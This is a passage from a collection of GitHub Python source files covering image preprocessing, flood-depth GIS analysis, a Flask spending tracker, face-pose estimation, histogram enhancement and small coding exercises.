50\nfig, ax = plt.subplots(nrows=1, ncols=2, figsize=(10,5))\nax[0].imshow(imageDictionary[\"s90_aligned_batch_011\"][\"input\"][idx,...],cmap=\"gray\")\nax[1].imshow(imageDictionary[\"s90_aligned_batch_011\"][\"target\"][idx,...],cmap=\"gray\")\nax[0].axis(\"off\")\nax[1].axis(\"off\")\nplt.suptitle(\"Comparison of Images: Input (left) and Target (right)\")\nplt.tight_layout()\n\n\n# ## 6. Group the images in a large matrix, subsample them, and save them to parquet\n\n# Instantiate a large numpy matrix to store the image data. We will encode the three different cameras as:\n# \n# 0. MI3\n# 1. T3I\n# 2. S90\n# \n# These values will be saved in the first column of the numpy matrix.\n\nnumpy_matrix = np.zeros((tot_images,2*size**2+1), dtype=np.uint8)\ni = 0\nkeys = sorted(list(imageDictionary.keys()))\ncamera_dict = {\"mi3\":0, \"t3i\":1, \"s90\":2}\nfor key in tqdm.tqdm(keys):\n value = imageDictionary[key]\n ### concatenate images horizontally\n concatenated_images = np.concatenate((value[\"input\"].reshape(value[\"input\"].shape[0],-1),value[\"target\"].reshape(value[\"target\"].shape[0],-1)), axis=1)\n concatenated_images = np.concatenate((np.array([camera_dict[key.split(\"_\")[0]]]*concatenated_images.shape[0]).reshape(-1,1), concatenated_images), axis=1)\n numpy_matrix[i:i+concatenated_images.shape[0],:] = concatenated_images\n i+=concatenated_images.shape[0]\n\n\n# We then discard the \"uninteresting\" pictures (those which are black almost everywhere). We then keep only the images whose:\n# - sum of intensities is larger than 10 (remove all black pictures)\n# - the standard deviation is larger than 25 (keep pictures featuring large intensity variations).\nnumpy_matrix = numpy_matrix[np.logical_and((numpy_matrix[:,1:1+size**2]).sum(axis=1) > 10,(numpy_matrix[:,1:1+size**2]).std(axis=1) > 25),:]\n\n\n# Given the 100Mb storage limit, we will only keep 4050 patches from the original dataset. In order to obtain the best results, we first shuffle the dataset, then each of the used cameras will be allocated 1350 images.\n\n### 1. randomly permute the numpy matrix\nnumpy_matrix = numpy_matrix[np.random.permutation(numpy_matrix.shape[0]),:]\n### 2. allocate 1350 images for each camera\ncamera_each = 1350\nnumpy_matrix = numpy_matrix[np.concatenate((np.where(numpy_matrix[:,0]==0)[0][:camera_each],np.where(numpy_matrix[:,0]==1)[0][:camera_each],np.where(numpy_matrix[:,0]==2)[0][:camera_each])),:]\n\n\n# Then we carry out a sanity check to make sure 1350 samples have been drawn from each camera.\nfor i in range(3):\n assert np.sum(numpy_matrix[:,0] == i) == camera_each\n\n\n# And, in the end, we export the image data matrix to a `parquet` file. `Apache Parquet` allows quick data load and high compression for large datasets. The use of `parquet` with the `brotli` scheme is necessary to limit the size of the output file.\nparq_table = pa.table({f\"i_{i}\": numpy_matrix[i,:] for i in range(numpy_matrix.shape[0])})\npa.parquet.write_table(parq_table, \"dataset.parquet\", compression=\"brotli\")\n\n# This concludes the data wrangling from the original data set. We have reduced the original dimension from 11.3Gb to 98Mb.\n\n#### REMOVE UNNEEDED PICTURES###################\nos.remove(\"input.png\")\nos.remove(\"reference.png\")\n################################################","repo_name":"tinosai/UDA_CW4_NUCERA","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":9814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17012052960","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: daisybrown\n\"\"\"\nimport pandas as pd\nimport geopandas as gpd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# setting the output file\nout_file = \"flood_levels.gpkg\"\n\n# setting a projection variable\nnc_epsg = 2264\n\n\n# reading in the approproate shape files for LIDAR_LAG\nftp_file = \"./Input Files/Columbus_FP_Info.gpkg\"\n\n# setting the layer and projection for the footprint file\n\nftp = gpd.read_file(ftp_file, layer='Building_Centroids') \n\nftp = ftp.to_crs(epsg=nc_epsg)\n\n# trimming the geospatial data for relevent columns\n\ntrim_ftp = ftp.copy()\n\ntrim_ftp = trim_ftp[['FFE', 'LIDAR_LAG', 'LIDAR_HAG','geometry']]\n\n#%%\n\n# reading in the FEMA flood elevations NC One Data\nflood_file = \"flood_sections_static.gpkg\"\nsections = gpd.read_file(flood_file, layer = \"sections\")\nstatic = gpd.read_file(flood_file, layer = \"static\")\n\n\n# setting the projection \n \nsections = sections.to_crs(epsg=nc_epsg)\nstatic = static.to_crs(epsg=nc_epsg)\n\n# trimming the geospatial data for relevent columns\n\n#%%\n\njoined = trim_ftp.sjoin(sections, how='left', predicate='within')\n\njoined = joined.drop(columns='index_right')\n\njoined[\"depth1\"] = round(joined['ELEV'] - joined['LIDAR_LAG'],2)\n\ndepth1 = joined[\"depth1\"]\n\n\njoined = joined.sjoin(static, how='left', predicate='within')\n\njoined = joined.drop(columns='index_right')\n\nFLD_ZONE_left = joined['FLD_ZONE_left']\nFLD_ZONE_right = joined['FLD_ZONE_right']\n\njoined[\"FLD_ZONE\"] = FLD_ZONE_left.where (FLD_ZONE_left.notna(), FLD_ZONE_right)\n\njoined = joined.drop(columns=['FLD_ZONE_left', 'FLD_ZONE_right'])\n\njoined[\"depth2\"] = round(joined['STATIC_BFE_right'] - joined['LIDAR_LAG'],2)\n\ndepth2 = joined[\"depth2\"]\n\njoined['flood_depth'] = depth1.where( depth1.notna(), depth2 )\n\njoined['Class'] = joined['flood_depth'] > 0\njoined['Class'] = joined['Class'].replace({True:\"Low\", False: \"High\"})\njoined['Class'] = joined['Class'].where(joined['flood_depth'].notna(), \"Not FP\")\n\njoined['Water Level'] = joined['flood_depth'].apply(lambda x: f\"{x:.1f} ft\")\njoined['Water Level'] = joined['Water Level'].where(joined['Class']=='Low', 'Apparently above flood level')\njoined['Water Level'] = joined['Water Level'].where(joined['Class']!='Not FP', 'Not in floodplain')\n\njoined = joined.drop(columns=['depth1', 'depth2', 'STATIC_BFE_left'])\n\njoined.to_file(out_file, layer = \"flood_depth\", index=False)\n\n\n#%%\n\n# drawing a histogram of negative of negative values \n\nneg_depth = joined.query('flood_depth < 0')\nprint(neg_depth.value_counts('flood_depth'))\n# create a new single-panel figure\n\nneg_depth = neg_depth.reset_index()\n\nfig, ax1 = plt.subplots(dpi=300)\n\n# drawing a histogram of median earnings\n# stat keyword indicates that the Y axis of the histogram should \n# be the probability density\n\nsns.histplot(data=neg_depth, x=\"flood_depth\", ax=ax1)\n\n# The shade option causes the area below the curve to be shaded\n\nax1.set_xlabel(\"Negative Flood Depth\")\n\nfig.tight_layout()\n\nfig.savefig(\"negdepth_hist.png\")\n\n#%%\n\n# drawing a histogram of of all depth values \n\njoined = joined.reset_index()\n\n# create a new single-panel figure\n\nfig, ax2 = plt.subplots(dpi=300)\n\n# drawing a histogram of median earnings\n# stat keyword indicates that the Y axis of the histogram should \n# be the probability density\n\nsns.histplot(data=joined, x=\"flood_depth\", ax=ax2)\n\n# The shade option causes the area below the curve to be shaded\n\nax2.set_xlabel(\"All Flood Depths\")\n\nfig.tight_layout()\n\nfig.savefig(\"alldepth_hist.png\")","repo_name":"daisykbrown/pai789_final_project","sub_path":"script7_flood_depth.py","file_name":"script7_flood_depth.py","file_ext":"py","file_size_in_byte":3472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13767237773","text":"x = 1\nnumbers = [float(0)]\nwhile x > 0:\n num = input (\"Enter a number: \",)\n if num == \"done\":\n break\n else:\n try:\n float(num)\n except:\n print(\"Invalid Input\")\n continue\n num = float(num)\n if x == 1:\n numbers[x-1] = num\n else:\n numbers.append(num)\n x = x + 1\n\nprint(\"The maximum value is: \" + str(max(numbers)))\nprint(\"The minimum value is: \" + str(min(numbers)))","repo_name":"FatherSalvi/lis161-py4e","sub_path":"Ch5Ex2.py","file_name":"Ch5Ex2.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20151877353","text":"import torch\nimport torch.nn as nn\nfrom torch.utils.mobile_optimizer import optimize_for_mobile\n\n\nfrom model import Model, AdaIN\n\n\nclass ConvertModel(nn.Module):\n def __init__(self):\n super(ConvertModel, self).__init__()\n self.model = Model()\n self.model.decoder.state_dict(torch.load('./models/decoder_3.pth', map_location='cpu'))\n self.model.encoder\n\n def forward(self, content, style, alpha=0.6):\n content_f = self.model.encoder(content)\n style_f = self.model.encoder(style)\n feat = AdaIN(content_f, style_f)\n feat = feat * alpha + content_f * (1 - alpha)\n return self.model.decoder(feat)\n\n\nmodel = ConvertModel()\n\ndummy_input = torch.rand(1, 3, 512, 512)\n\ntraced_model = torch.jit.trace(model, (dummy_input, dummy_input))\noptimized_model = optimize_for_mobile(traced_model)\n\noptimized_model.save('style_transfer.pt')\n\nmodel_load = torch.jit.load('style_transfer.pt')\n","repo_name":"Picture-GSM/Picture-AI","sub_path":"convert2coreml.py","file_name":"convert2coreml.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24480975155","text":"import openai\nimport pprint\nimport os\n\n\nopenai.organisation = os.getenv(\"OPENAI_ORGANIZATION\")\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\nGPT4 = 'gpt-4-0314'\nMODEL_NAME = GPT4\nmodel = openai.Model(MODEL_NAME)\n\ndef list_all_models():\n model_list = openai.Model.list()['data']\n model_ids = [x['id'] for x in model_list]\n model_ids.sort()\n pprint.pprint(model_ids)\n\nif __name__ == '__main__':\n list_all_models()","repo_name":"JimVincentW/bt-reviewer","sub_path":"oai_models.py","file_name":"oai_models.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"24280887482","text":"from flask import Flask, render_template, request, redirect\nfrom flask import Blueprint\nfrom models.transaction import Transaction\nimport repositories.transaction_repository as transaction_repository\nimport repositories.tag_repository as tag_repository\nimport repositories.merchant_repository as merchant_repository\nimport repositories.limit_repository as limit_repository\n\ntransactions_blueprint = Blueprint(\"transactions\", __name__)\n\n# show all transactions with conditional loops to manage spending limit notificication feature\n@transactions_blueprint.route(\"/transactions\")\ndef transactions():\n transactions = transaction_repository.select_all()\n total = transaction_repository.total_spending()\n limit = limit_repository.select_last()\n near_limit = False\n if total >= limit.notification_point:\n near_limit = True\n over_limit = False\n if total > limit.spending_limit:\n near_limit = False\n over_limit = True\n on_limit = False\n if total == limit.spending_limit:\n near_limit = False\n over_limit = False\n on_limit = True\n return render_template(\"transactions/index.html\", transactions=transactions, total_spend=total, near_limit=near_limit, over_limit=over_limit, on_limit=on_limit)\n\n# show all transactions sorted by date\n@transactions_blueprint.route(\"/transactions/sortby_date\")\ndef transactions_by_date():\n transactions = transaction_repository.select_all_by_date()\n total = transaction_repository.total_spending()\n return render_template(\"transactions/date.html\", transactions=transactions, total_spend=total)\n\n# show all transactions sorted by amount\n@transactions_blueprint.route(\"/transactions/sortby_amount\")\ndef transactions_by_amount():\n transactions = transaction_repository.select_all_by_amount()\n total = transaction_repository.total_spending()\n return render_template(\"transactions/amount.html\", transactions=transactions, total_spend=total)\n\n# takes user to form to add new transaction\n@transactions_blueprint.route(\"/transactions/new\")\ndef new_transaction():\n tags = tag_repository.select_all()\n merchants = merchant_repository.select_all()\n return render_template(\"transactions/new.html\", all_tags=tags, all_merchants=merchants)\n\n# route after pressing submit on 'add new transaction' page, to pull info from the form\n@transactions_blueprint.route(\"/transactions\", methods=['POST']) \ndef create_transaction():\n amount = request.form['amount']\n tag_id = request.form['spending_type']\n merchant_id = request.form['merchant']\n date = request.form['date']\n tag = tag_repository.select(tag_id)\n merchant = merchant_repository.select(merchant_id)\n transaction = Transaction(amount, tag, merchant, date)\n transaction_repository.save(transaction)\n return redirect('/transactions')\n\n# takes user to form of selected transaction, to edit transaction\n@transactions_blueprint.route(\"/transactions//edit\", methods=['GET', 'POST'])\ndef edit_transaction(id):\n transaction = transaction_repository.select(id)\n tags = tag_repository.select_all()\n merchants = merchant_repository.select_all()\n return render_template(\"/transactions/edit.html\", transaction=transaction, all_tags=tags, all_merchants=merchants)\n\n# updates the task edited in /transactions/edit form\n@transactions_blueprint.route(\"/transactions/\", methods=['POST'])\ndef update_transaction(id):\n amount = request.form['amount']\n tag_id = request.form['tag']\n merchant_id = request.form['merchant']\n date = request.form['date']\n tag = tag_repository.select(tag_id)\n merchant = merchant_repository.select(merchant_id)\n transaction = Transaction(amount, tag, merchant, date, id)\n transaction_repository.update(transaction)\n return redirect('/transactions')\n\n@transactions_blueprint.route(\"/transactions//delete\", methods=['POST'])\ndef delete_transaction(id):\n transaction_repository.delete(id)\n return redirect(\"/transactions\")\n\n\n","repo_name":"madgelackie/spending_tracker_project","sub_path":"controllers/transactions_controller.py","file_name":"transactions_controller.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72329120091","text":"def adding(numbers):\n return sum(int(digit) for digit in str(numbers))\n\nprint(adding(163783))\n\n\ndef adding(numbers):\n total = 0\n for number in str(numbers):\n total += int(number)\n return total\n\nprint(adding(9876))\n\ndef addNumbers(numbers):\n total = 0\n for x in str(numbers):\n total += int(x)\n return total\n\nprint(addNumbers(423566))\n\ndef addNumbersFromList(numbers):\n total = 0\n for x in numbers:\n total += x\n return total\n\nprint(addNumbersFromList([3, 4, 6, 4, 2, 2, 3]))\n\ndef addingNumbers(numbers):\n total = 0\n for number in str(numbers):\n total += int(number)\n return total\n\nprint(addingNumbers(9876))\n\n\ndef addingDigits(numbers):\n return sum(int(x) for x in str(numbers))\n\nprint(addingDigits(16523783))\n","repo_name":"jakubfolta/AddDigits","sub_path":"AddNumb.py","file_name":"AddNumb.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43462484102","text":"## need opencv, numpy, imutils and dlib installed\n## tuvovan\n\nimport math\nimport cv2\nimport numpy as np \nfrom imutils import face_utils\nimport dlib\n\n# get 2D points\ndef get_2D_points(subject):\n shape = predictor(gray, subject)\n shape = face_utils.shape_to_np(shape) \n left_eye_left = shape[36]\n right_eye_right = shape[45]\n nose_top = shape[33]\n chin = shape[8]\n left_mouth_conner = shape[48]\n right_mouth_conner = shape[54]\n up_eye = shape[37]\n down_eye = shape[40]\n\n return np.array([up_eye, down_eye]), np.array([nose_top, chin, left_eye_left, right_eye_right, left_mouth_conner, right_mouth_conner], dtype='double')\n\n## 3D points\nmodel_points = np.array(\n [\n (0.0, 0.0, 0.0),\n (0.0, -330.0, -65.0),\n (-165.0, 170.0, -135.0),\n (165.0, 170.0, -135.0),\n (-150.0, -150.0, -125.0),\n (150.0, -150.0, -125.0)\n ]\n)\n\n## Get pose\ndef get_pose(model_points, image_points, frame):\n size = frame.shape\n # focal_length = size[1]\n center = (size[1]/2, size[0]/2)\n focal_length = center[0]/ np.tan(60/2 * np.pi /180)\n\n camera_matrix = np.array(\n [\n [focal_length, 0, center[0]],\n [0, focal_length, center[1]],\n [0, 0 , 1]\n ], dtype = 'double'\n )\n\n dist_coeffs = np.zeros((4,1))\n\n ## new here replace the axis\n axis = np.float32(\n [\n [500,0,0],\n [0,500,0],\n [0,0,500]\n ]\n )\n (_, rotation_vector, translation_vector) = cv2.solvePnP(model_points, image_points, camera_matrix, dist_coeffs)\n\n (nose_end_point2D, jacobian) = cv2.projectPoints(axis, rotation_vector, translation_vector, camera_matrix, dist_coeffs)\n (modelpts, jacobian2) = cv2.projectPoints(model_points, rotation_vector, translation_vector, camera_matrix, dist_coeffs)\n rvec_matrix = cv2.Rodrigues(rotation_vector)[0]\n\n proj_matrix = np.hstack((rvec_matrix, translation_vector))\n\n eulerAngles = cv2.decomposeProjectionMatrix(proj_matrix)[6]\n\n pitch, yaw, roll = [math.radians(_) for _ in eulerAngles]\n\n pitch = math.degrees(math.asin(math.sin(pitch)))\n yaw = math.degrees(math.asin(math.sin(yaw)))\n roll = math.degrees(math.asin(math.sin(roll)))\n\n for p in image_points:\n cv2.circle(frame, (int(p[0]), int(p[1])), 3, (0, 0 , 255), -1)\n p1 = (int(image_points[0][0]), int(image_points[0][1]))\n p2 = tuple(nose_end_point2D[1].ravel())\n p3 = tuple(nose_end_point2D[0].ravel())\n p4 = tuple(nose_end_point2D[2].ravel())\n\n cv2.line(frame, p1, p2, (0, 255 , 0), 3)\n cv2.line(frame, p1, p3, (255, 0 , 0), 3)\n cv2.line(frame, p1, p4, (0, 0 , 255), 3)\n\n\n# add glasses\ndef add_glasses(frame, glasses, left_eye_left, right_eye_right, up_eye, down_eye):\n glasses_width = np.int(np.abs(right_eye_right[0] - left_eye_left[0])*1.3)\n glasses_height = np.int(np.abs(up_eye[1] - down_eye[1])*1.5)\n glasses_resized = cv2.resize(glasses, (glasses_width, glasses_height))\n transparent_region = glasses_resized[:,:,:3] != 0\n\n frame[int(left_eye_left[1]):int(left_eye_left[1])+glasses_height, int(left_eye_left[0]):int(left_eye_left[0])+glasses_width,:][transparent_region] = glasses_resized[:,:,:3][transparent_region]\n # frame[int(left_eye_left[0]):int(right_eye_right[0]),int(left_eye_left[1]):int(right_eye_right[1]), :][transparent_region] = glasses_resized[:,:,:3][transparent_region]\n\n\n\ncap = cv2.VideoCapture(0)\nprint(\"[INFO] loading facial landmark predictor...\")\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')\nsunglasses = cv2.imread('sunglasses.png')\nwhile True:\n ret, frame = cap.read()\n frame = cv2.resize(frame, (600, 600))\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n subjects = detector(gray, 0)\n\n for subject in subjects:\n up_down, image_points = get_2D_points(subject)\n get_pose(model_points, image_points, frame)\n add_glasses(frame, sunglasses, image_points[2], image_points[3], up_down[0], up_down[1])\n frame = cv2.flip(frame, 1)\n cv2.imshow('out', frame)\n key = cv2.waitKey(1) & 0xFF\n if key == ord('q'):\n break\ncv2.destroyAllWindows()\ncap.release()","repo_name":"tuvovan/Face-Pose-Estimation","sub_path":"face_pose.py","file_name":"face_pose.py","file_ext":"py","file_size_in_byte":4210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31548998477","text":"n = int(input(\"Enter number of students: \"))\n\nstd_dict = []\n\nfor i in range(1, n+1):\n name = input()\n mark = int(input())\n std_dict.append({i: {\"student_name\": name, \"student_mark\": mark}})\n\nf = open(\"out.txt\", \"a\")\nf.write(str(std_dict))\nf.close()\n","repo_name":"sheikhlimon/phitron-course","sub_path":"course_4_oop/module_11/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12792736850","text":"# Imports\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\n\n# Settings\nsns.set_style(\"white\")\n\n\ndef create_barcharts(new_season, model, dain_version=False):\n main_color = \"#f07f71\" if not dain_version else \"#EA9B2A\"\n sat = 0.75 if not dain_version else 1\n\n # Read data\n df = pd.read_csv(f\"results/all_predictions_{model}_{new_season}.csv\")\n # Normalize probabilities\n df[\"Norm_prob\"] = df[\"Prob\"] / df.Category.map(\n df.groupby(\"Category\")[\"Prob\"].sum().to_dict()\n )\n # Format as percentage\n df[\"Norm_prob\"] *= 100\n\n for cat in df.Category.unique():\n df_plot = df[df.Category == cat].copy()\n df_plot = df_plot.sort_values(\"Norm_prob\", ascending=False)\n df_plot[\"Hundred_percent\"] = 100\n\n # Create plot\n fig, ax = plt.subplots(figsize=(8, 3))\n # Background (100%)\n sns.barplot(\n data=df_plot,\n x=\"Hundred_percent\",\n y=\"Nominee\",\n orient=\"h\",\n saturation=sat,\n color=\"#d3d3d3\",\n )\n # Plot probabilities\n sns.barplot(\n data=df_plot,\n x=\"Norm_prob\",\n y=\"Nominee\",\n orient=\"h\",\n saturation=sat,\n color=main_color,\n )\n # Aesthetics\n ax.xaxis.set_major_formatter(mtick.PercentFormatter())\n if dain_version:\n ax.spines[\"left\"].set_color(\"#113341\")\n ax.spines[\"right\"].set_color(\"#113341\")\n ax.spines[\"bottom\"].set_color(\"#113341\")\n ax.spines[\"top\"].set_color(\"#113341\")\n ax.yaxis.label.set_color(\"#113341\")\n ax.xaxis.label.set_color(\"#113341\")\n ax.tick_params(axis=\"x\", colors=\"#113341\")\n ax.tick_params(axis=\"y\", colors=\"#113341\")\n\n plt.xlim((0, 100))\n plt.ylabel(\"\")\n if cat == \"Picture\":\n ax.set_yticklabels(df_plot[\"Film\"])\n else:\n ax.set_yticklabels(list(df_plot[\"Nominee\"] + \" - \" + df_plot[\"Film\"]))\n plt.xlabel(\"\")\n plt.tight_layout()\n plt.savefig(f\"results/predictions_barchart_{model}_{new_season}_{cat}.png\")\n plt.close(\"all\")\n\n\ncreate_barcharts(new_season=\"2023\", model=\"rf\", dain_version=False)\n","repo_name":"MateVaradi/OscarPrediction","sub_path":"prediction_viz.py","file_name":"prediction_viz.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"19898288458","text":"import optparse\nimport signal\nimport sys\n\nfrom proton import symbol\nfrom proton.handlers import MessagingHandler\nfrom proton.reactor import Container\n\n\nclass FailoverServer(MessagingHandler):\n def __init__(self, address):\n super(FailoverServer, self).__init__()\n self.listener = None\n self.address = address\n\n def on_start(self, event):\n self.listener = event.container.listen(self.address)\n\n def stop(self):\n if self.listener:\n self.listener.close()\n\n def on_connection_opening(self, event):\n # Sends an empty failover list.\n # This will test the case where we deliberately send an empty failover list so that the router\n # receiving this open frame will clean out its failover list.\n event.connection.properties = {\n symbol('failover-server-list'): []\n }\n\n\nparser = optparse.OptionParser(usage=\"usage: %prog [options]\",\n description=\"Testing Router failover support\")\n\nparser.add_option(\"-a\", \"--address\", default=\"localhost:55671\",\n help=\"address to listen on (default %default)\")\n\nopts, args = parser.parse_args()\n\nhandler = FailoverServer(opts.address)\n\n\ndef sigterm_handler(_signo, _stack_frame):\n sys.exit(0)\n\n\nsignal.signal(signal.SIGTERM, sigterm_handler)\n\nContainer(handler).run()\n","repo_name":"skupperproject/skupper-router","sub_path":"tests/failoverserver.py","file_name":"failoverserver.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"35605674676","text":"import ipcv\nimport numpy\n\ndef histogram_enhancement(im, etype='linear2', target=None, maxCount=255):\n\t\"\"\"\n\tTitle: histogram_enhancement\n\tAuthor: Molly Hill, mmh5847@rit.edu\n\tDescription:\n\t\tReturns given image quantized at set number of levels, using either a uniform or IGS method.\n\tAttributes:\n\t\tim - ndarray, can be grayscale or color of any size\n\t\tetype - enhancement type, of the following options:\n\t\t\t - 'linearX' where X is an integer percent of the area to be\n\t\t\t clipped/crushed with contrast increas\n\t\t\t - 'match' where the image is to be matched to a provided\n\t\t\t target image or PDF\n\t\t\t - 'equalize' where the image's histogram is to be spread\n\t\t\t equally across digital count\n\t\ttarget - if etype = 'match', then target must be provided as either an\n\t\t\t image (3D array) or PDF (1D array)\n\t\tmaxCount - maximum code value of pixel; must be positive integer\n\tRequires:\n\t\thistogram.py, author: Carl Salvaggio\n\t\tdimensions.py, author: Carl Salvaggio\n\t\"\"\"\n\n\tif maxCount <= 0 or type(maxCount) is not int:\n\t\tmsg = \"Specified maximum digital count must be a positive integer.\"\n\t\traise ValueError(msg)\n\tif type(im) is not numpy.ndarray:\n\t\tmsg = \"Specified image type must be ndarray.\"\n\t\traise TypeError(msg)\n\tif etype[:6] != 'linear' and etype != 'match' and etype != 'equalize':\n\t\tmsg = \"Enhancement types available are linear, match, and equalize. Defaulting to linear2.\"\n\t\tprint(msg)\n\tif etype == 'match':\n\t\tif type(target) == None:\n\t\t\tetype = 'equalize'\n\t\t\tmsg = \"If using match, target must be provided.\"\n\t\t\tprint(msg)\n\t\telif target.ndim !=1 and target.ndim !=2:\n\t\t\tprint(target.ndim)\n\t\t\tmsg = \"Provided target must be PDF (1-D array) or image (3-D array)\"\n\t\t\traise TypeError(msg)\n\n\tenhIm = numpy.copy(im)\n\tsrcCDF = ipcv.histogram(enhIm)[2]\n\tDCout = []\n\ttgtCDF = []\n\ttgtPDF = target\n\t\n\tif etype == 'match' or etype == 'equalize':\n\t\tif etype == 'match' and target.ndim != 1: #is image\n\t\t\ttgtCDF = ipcv.histogram(target)[2][0] #create CDF of target, currently does red channel if color\n\t\telse: #equalize or PDF passed in as target for matching\n\t\t\tif etype == 'equalize':\n\t\t\t\ttgtPDF = numpy.ones(maxCount+1)/(maxCount+1)\n\t\t\ttgtCDF = numpy.cumsum(tgtPDF) #convert PDF to CDF\n\n\t\tfor i in range(ipcv.dimensions(srcCDF)[1]): #createLUT\n\t\t\tdifference = numpy.fabs(numpy.subtract(tgtCDF,srcCDF[0][i])) #red channel only\n\t\t\tDCout.extend([int(maxCount*tgtCDF[numpy.argmin(difference)])])\n\t\tfor j in range(im.size): #apply LUT\n\t\t\tenhIm.flat[j] = DCout[enhIm.flat[j]] #uses original code value to assign new output from LUT\n\n\telse: #linear\n\t\tpct = (int(etype[6:])/2) / 100 #extract percent from etype and halve\n\t\tdifference = numpy.fabs(numpy.subtract(srcCDF[0],pct))\n\t\tDCmin = numpy.argmin(difference)\n\t\tdifference = numpy.fabs(numpy.subtract(srcCDF[0],(1-pct)))\n\t\tDCmax = numpy.argmin(difference)\n\n\t\tslope = (maxCount+1)/(DCmax-DCmin)\n\t\tintercept = -slope * DCmin\n\t\t\n\t\tfor j in range(enhIm.size):\n\t\t\tpx = enhIm.flat[j]\n\t\t\tif px >= DCmax:\n\t\t\t\tpx = maxCount\n\t\t\telif px <= DCmin:\n\t\t\t\tpx = 0\n\t\t\telse:\n\t\t\t\tpx = slope * px + intercept\n\t\t\tenhIm.flat[j] = int(px)\n\n\treturn enhIm\n\nif __name__ == '__main__':\n\n\timport cv2\n\timport os.path\n\timport time\n\n\thome = os.path.expanduser('~')\n\tpath = os.path.join(home, 'src', 'python', 'examples', 'data')\n\tfilename = os.path.join(path, 'lenna.tif')\n\tfilename = os.path.join(path, 'giza.jpg')\n\tfilename = os.path.join(path, 'crowd.jpg')\n\tfilename = os.path.join(path, 'redhat.ppm')\n\n\tmatchFilename = os.path.join(path, 'redhat.ppm')\n\tmatchFilename = os.path.join(path, 'crowd.jpg')\n\tmatchFilename = os.path.join(path, 'giza.jpg')\n\tmatchFilename = os.path.join(path, 'lenna.tif')\n\n\tim = cv2.imread(filename, cv2.IMREAD_UNCHANGED)\n\tprint('Filename = {0}'.format(filename))\n\tprint('Data type = {0}'.format(type(im)))\n\tprint('Image shape = {0}'.format(im.shape))\n\tprint('Image size = {0}'.format(im.size))\n\n\tcv2.namedWindow(filename, cv2.WINDOW_AUTOSIZE)\n\tcv2.imshow(filename, im)\n\n\tprint('Linear 2% ...')\n\tstartTime = time.time()\n\tenhancedImage = ipcv.histogram_enhancement(im, etype='linear2')\n\tprint('Elapsed time = {0} [s]'.format(time.time() - startTime))\n\tcv2.namedWindow(filename + ' (Linear 2%)', cv2.WINDOW_AUTOSIZE)\n\tcv2.imshow(filename + ' (Linear 2%)', enhancedImage)\n\n\tprint('Linear 1% ...')\n\tstartTime = time.time()\n\tenhancedImage = ipcv.histogram_enhancement(im, etype='linear1')\n\tprint('Elapsed time = {0} [s]'.format(time.time() - startTime))\n\tcv2.namedWindow(filename + ' (Linear 1%)', cv2.WINDOW_AUTOSIZE)\n\tcv2.imshow(filename + ' (Linear 1%)', enhancedImage)\n\n\t#print('Equalized ...')\n\t#startTime = time.time()\n\t#enhancedImage = ipcv.histogram_enhancement(im, etype='equalize')\n\t#print('Elapsed time = {0} [s]'.format(time.time() - startTime))\n\t#cv2.namedWindow(filename + ' (Equalized)', cv2.WINDOW_AUTOSIZE)\n\t#cv2.imshow(filename + ' (Equalized)', enhancedImage)\n\n\t#tgtIm = cv2.imread(matchFilename, cv2.IMREAD_UNCHANGED)\n\t#print('Matched (Image) ...')\n\t#startTime = time.time()\n\t#enhancedImage = ipcv.histogram_enhancement(im, etype='match', target=tgtIm)\n\t#print('Elapsed time = {0} [s]'.format(time.time() - startTime))\n\t#cv2.namedWindow(filename + ' (Matched - Image)', cv2.WINDOW_AUTOSIZE)\n\t#cv2.imshow(filename + ' (Matched - Image)', enhancedImage)\n\n\t#tgtPDF = numpy.ones(256) / 256\n\t#print('Matched (Distribution) ...')\n\t#startTime = time.time()\n\t#enhancedImage = ipcv.histogram_enhancement(im, etype='match', target=tgtPDF)\n\t#print('Elapsed time = {0} [s]'.format(time.time() - startTime))\n\t#cv2.namedWindow(filename + ' (Matched - Distribution)', cv2.WINDOW_AUTOSIZE)\n\t#cv2.imshow(filename + ' (Matched - Distribution)', enhancedImage)\n\n\taction = ipcv.flush()\n\n","repo_name":"mollymh/misc_image_processing","sub_path":"histogram_enhancement.py","file_name":"histogram_enhancement.py","file_ext":"py","file_size_in_byte":5645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35479987032","text":"from flask import Flask\nfrom flask import request\nfrom flask import jsonify\nfrom flask_cors import CORS\n\napp = Flask(__name__)\napp.config[\"DEBUG\"] = True\nCORS(app)\n\n# Fila\nqueue = []\n\n# Mesas e Caixa de atendimento\nservice_desk = {\n \"caixa\": {\n \"desk_1\": {\n \"nameDesk\": \"Mesa 